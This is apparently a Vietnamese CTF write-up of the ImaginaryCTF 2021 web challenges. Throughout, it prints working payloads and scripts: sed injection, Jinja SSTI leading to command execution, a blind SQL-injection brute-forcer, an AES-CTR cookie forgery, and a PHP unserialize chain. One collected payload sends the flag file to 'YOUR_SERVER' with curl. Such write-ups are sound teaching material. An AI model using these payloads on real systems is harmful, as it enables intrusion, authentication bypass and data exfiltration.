[Web]ImaginaryCTF 2021

Roos World (50pts)

View source rồi run đoạn script trong console.

FLAG: ictf{1nsp3ct0r_r00_g0es_th0nk}

SaaS (100pts)

Source code được đưa thì biết được cần request đến /backend một param query để server thực hiện một đoạn sed command.

Payload: -n '1p' fl*.txt

  • -n '1p': In 1 line trong file (file fl*.txt sẽ được concat với file stuff.txt)

FLAG: ictf{:roocu:roocu:roocu:roocu:roocu:roocursion:rsion:rsion:rsion:rsion:rsion:_473fc2d1}

Build-A-Website (100pts)

Ta có có source code:

Những gì mình nhập vào sẽ được b64 enc truyền vào param content để làm url sau đó lại b64 dec rồi được render.

Không khó để nhận biết là một dạng SSTI nhưng cái khó là bypass blacklist.

Payload SSTI bình thường: {{''.__class__.mro()[1].__subclasses__[360].(['cat', 'f*.txt'], stdout=-1).communicate()}}

Có thể là concat string hoặc như mình chọn cách sử dụng request.args.get. 360 là mình có thể dễ dàng tìm đếm được khi show all class.

Payload: /site?content=e3sgJydbcmVxdWVzdC5hcmdzLmdldCgnYycpXS5tcm8oKVsxXVtyZXF1ZXN0LmFyZ3MuZ2V0KCdzJyldKClbMzYwXShbJ2NhdCcsICdmbGFnLnR4dCddLCBzdGRvdXQ9LTEpLmNvbW11bmljYXRlKCkgfX0%3D&c=class&s=subclasses

FLAG: ictf{:rooYay::rooPOG::rooHappy:_:rooooooooooooooooooooooooooo:}

#Một số payload lượm được, lưu ở đây

#1 from TheBadGod
{{url_for["__globa""ls__"].__builtins__.open("flag.txt").read()}}

#2 from puzzler7
{{request|attr('app\x6cication')\
|attr('\x5f\x5fg\x6co\x62a\x6cs\x5f\x5f')\
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5f\x62ui\x6ctins\x5f\x5f')\
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')\
|attr('popen')('cat flag.txt')|attr('read')()}}

Awkward_Bypass (150pts)

Trong source code thì dễ dàng biết được đây là một bài Sql injection:

Cái khó khăn ban đầu là phải vượt qua được blacklist :

blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "IN", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"] 

Nhưng may mắn thay vì đoạn kiểm tra thì sẽ xóa những ký tự trong blacklist nhưng lại không xóa đệ quy:

Thử với payload đơn giản: ' oorr 1=1 -- -

Đăng nhập thành công nhưng không có flag, và việc đầu tiên mình nghĩ là có thể nằm ở column khác hoặc table khác hoặc là password. Việc gì dễ làm trước. Bruteforce password, dùng signature blind sqli.

from enum import Flag
import requests

url = 'https://awkward-bypass.chal.imaginaryctf.org/user'

charlist = ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

flag = ''
for j in range(1, 35):
    for c in charlist:
        myobj = {
            "username": f"' oorr (substr((SESELECTLECT paassswoorrd FRFROMOM users LILIMITMIT 0, 1), {j}, 1) = '{c}') -- -",
            "password": "' oorr 1=1 -- -"
        }
        x = requests.post(url, data=myobj)
        if ("Ummmmmmm, did you expect a flag to be here?" in x.text):
            flag += c
            print(c)
            break

print(flag)
# ictf{n1c3_fil73r_byp@ss_7130676d}

FLAG: ictf{n1c3_fil73r_byp@ss_7130676d}

Bài này liên quan rất nhiều tới crypto nên mình khá ngại :< nhưng rất may nhờ mình đã xem lại bài More Cookie picoCTF2021 kết hợp sự chỉ bảo tận tình của thằng bạn từng là "tô thủ" nên mình solved <3

Trong source code sẽ tóm tắt các việc như sau: Đăng nhập thành công -> Tạo cookie (AES CTR mode) -> Chuyển tới /home -> Check xem cookie có phải admin không? -> Phải thì flag không thì cút.

Mình có 1 danh sách username và password đã sha:

Ngoại trừ admin ra thì mình để có thể dùng tool https://md5decrypt.net/en/Sha512/ để decrypt, mình pick đại thằng ImaginaryCTFUser có password là idk.

Tìm hiểu về cách encrypt và và decrypt của AES CTR mode:

Sau vài tiếng sử dụng bộ não sợ crypto ngẫm nghĩ thì tìm được một cách giải:

  • Lấy cookie

  • Tách 16 ký tự đầu ra (nonce)

  • Lấy các ký tự còn lại (ciphertext) xor với username - ImaginaryCTFUser (xor kiểu bytes)

  • Đem kết quả trên là Key xor với username - admin (xor kiểu bytes)

  • Hexify kết quả trên rồi cộng với nonce (tất nhiên nonce ở phía trước)

  • Cookie mới được sinh ra và đem đi submit

import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from binascii import hexlify, unhexlify
import re


def xor_bytes(bA, bB):
    return bytes([a ^ b for a, b in zip(bA, bB)])


# Login and get cookie
url_login = 'https://cookie-stream.chal.imaginaryctf.org/backend'
obj = {
    "username": "ImaginaryCTFUser",
    "password": "idk"
}
req = requests.Session()
req.post(url=url_login, data=obj)
cookie = req.cookies["auth"]
# cookie = "1e9ab9db51d7fabcf410c9ed0a35fbfa8c5981b3c26383fc1fe49661440be237cde3a73ab5725c1f"
print(f"[+] Cookie\t: {cookie} {len(cookie)}")

# Parse cookie and find key
nonce = cookie[:16]
cipher_text_ImaginaryCTFUser = unhexlify(cookie[16:])
plain_text_ImaginaryCTFUser = pad("ImaginaryCTFUser".encode(), 16)
key = xor_bytes(cipher_text_ImaginaryCTFUser, plain_text_ImaginaryCTFUser)
print(f"[+] Plaintext\t: {hexlify(plain_text_ImaginaryCTFUser)}")
print(f"[+] Cipher\t: {hexlify(cipher_text_ImaginaryCTFUser)}")
print(f"[+] Key\t\t: {hexlify(key)}")

# Find cipher of admin
plain_text_admin = pad("admin".encode(), 16)
cipher_text_admin = xor_bytes(key, plain_text_admin)
print(f"[+] Plaintext_admin\t: {hexlify(plain_text_admin)}")
print(f"[+] Cipher_admin\t: {hexlify(cipher_text_admin)}")

# Hexify and add nonce
cookie_admin = nonce + hexlify(cipher_text_admin).decode()
print(f"[+] Cookie_admin\t: {cookie_admin} {len(cookie_admin)}")

# GET flag
url_home = "https://cookie-stream.chal.imaginaryctf.org/home"
req.cookies.set("auth", cookie_admin)
res = req.get(url=url_home)
if ("ictf{" in res.text):
    print(re.findall("ictf\{[ -z|~]+\}", res.text)[0])

FLAG: ictf{d0nt_r3us3_k3ystr34ms_b72bfd21}

Destructoid (150pts)

Truyền param ?source để xem source code:

<?php
$printflag = false;

class X {
    function __construct($cleanup) {
        if ($cleanup === "flag") {
            die("NO!\n");
        }
        $this->cleanup = $cleanup;
    }

    function __toString() {
        return $this->cleanup;
    }

    function __destruct() {
        global $printflag;
        if ($this->cleanup !== "flag" && $this->cleanup !== "noflag") {
            die("No!\n");
        }
        include $this->cleanup . ".php";
        if ($printflag) {
            echo $FLAG . "\n";
        }
    }
}

class Y {
    function __wakeup() {
        echo $this->secret . "\n";
    }

    function __toString() {
        global $printflag;
        $printflag = true;
        return (new X($this->secret))->cleanup;
    }
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}
echo "ecruos? ym dnif uoy naC\n";
if (isset($_SERVER['HTTP_X_PAYLOAD'])) {
    unserialize(base64_decode($_SERVER['HTTP_X_PAYLOAD']));
}

Nhìn sơ qua thì có thể biết đây là một bài khai thác unserialize vulnerability.

Ở line 45 ý nói rằng mình phải send 1 trường header X-PAYLOAD để có thể đưa giá trị của trường này vào thực hiện unserialize().

__wakeup() được call khi unserialize object.

__toString() được call khi thực hiện in object.

__construct() được call khi khởi tạo object.

__destruct() được call khi object kết thúc (trường hợp này là cuối chương trình).

Ban đầu mình cực kì khó khăn...

  • Nếu unserialize trực tiếp X thì không in flag.

  • Nếu unserialize Y thì không trigger được __toString().

  • Giả sử nếu call được __toString() thì làm sao để né __construct() của X

Serialize của object Y (giả sử $secret='flag') sẽ như sau: O:1:"Y":1:{s:6:"secret";s:4:"flag";}

Để giải quyết khó khăn mình đi vào từng vấn đề, chủ yếu sử dụng lồng ghép các object với nhau:

Đại loại: new X(new X(new Y('flag')))

  • Gọi được __toString():

O:1:"Y":1:{s:6:"secret";O:1:"Y":1:{s:6:"secret";s:4:"flag";}}

  • Né __construct():

O:1:"Y":1:{s:6:"secret";O:1:"Y":1:{s:6:"secret";O:1:"X":1:{s:7:"cleanup";s:4:"flag";}}}

Giải thích:

Lồng ghép thứ nhất sẽ gán $secret là object Y thì trong wakeup có echo $secret gọi được toString.

Lồng ghép thứ 2, vì trước đó toString được gọi nên global $printFlag True nên gán $secret thứ 2 bằng object Y chỉ nhầm unserialize Y không trigger hàm construct.

B64 enc đoạn trên: TzoxOiJZIjoxOntzOjY6InNlY3JldCI7TzoxOiJZIjoxOntzOjY6InNlY3JldCI7TzoxOiJYIjoxOntzOjc6ImNsZWFudXAiO3M6NDoiZmxhZyI7fX19

FLAG: ictf{d3s3r14l1z4t10n_4nd_d3struct10n}

#Lượm được solution khác, tạm thời để đây =)))

#from TheBadGod
$y = new Y("flag");
$x = New X("flag");
echo serialize([$y, new Y($y), $x]);

Sinking Calculator (300pts)

Tại source code ta nhận được thì không khó để biết là một bài SSTI.

Nhưng khó khăn ở đây output đã được lọc mỗi số mới được in ra, và len đầu vào chỉ được 80.

SSTI để rce đã được nhưng để đọc được thì phải tìm được command để khi in nội dung ở base8 hoặc 10 rồi đem đi convert. Vì giới hạn 80 ký tự nên có một số command tìm được lại không dùng được, vất vả khó khăn lới mới tìm được 1 cái command có thể dùng.

Tại đây có thể sử dụng od command để convert file content sang Oct. od -b -A n fla*

  • -b : octal format

  • -A n : không in offset của file

Payload: calc?query=config.class.init.globals[%27os%27].popen(%27od%20-b%20-An%20fla*%27).read()

Lúc này sẽ nhận một dãy số, convert octal to text là có flag.

FLAG: ictf{this_flag_has_three_interesting_properties_it_has_no_numbers_or_dashes_it_is_quite_long_and_it_is_quite_scary}

#Một số payload lượm lặt được mình lưu ở đây

#1 from puzzler1
1.__class__(g.pop.__globals__.__builtins__.open("flag","rb").read().hex(),16)

#2 from TheBadGod (read a char a time) - base #1 but too bad
a}}{{url_for.__globals__.__builtins__.open("flag","rb").read()[0]

#3 from maple3142
curl "https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.__globals__.__builtins__%5B%27eval%27%5D%28request.data%29" -X GET --data-raw "__import__('os').system('curl http://YOUR_SERVER -F f=@flag')"
#request.data still exists in GET request


#4 from tirefire
request.application\
.__globals__.__builtins__['eval'](request.full_path[97:])\
&a=chr(45)\
.join(map(str,map(ord,open(chr(0)[:0].join(map(chr,[102,108,97,103]))).read())))

#5 from Aiviaghost
config.__init__.__globals__.os.popen("nl * | od -b").read()

#6 from puzzler1
g.pop.__globals__.os.popen("od f*").read()

Last updated

Was this helpful?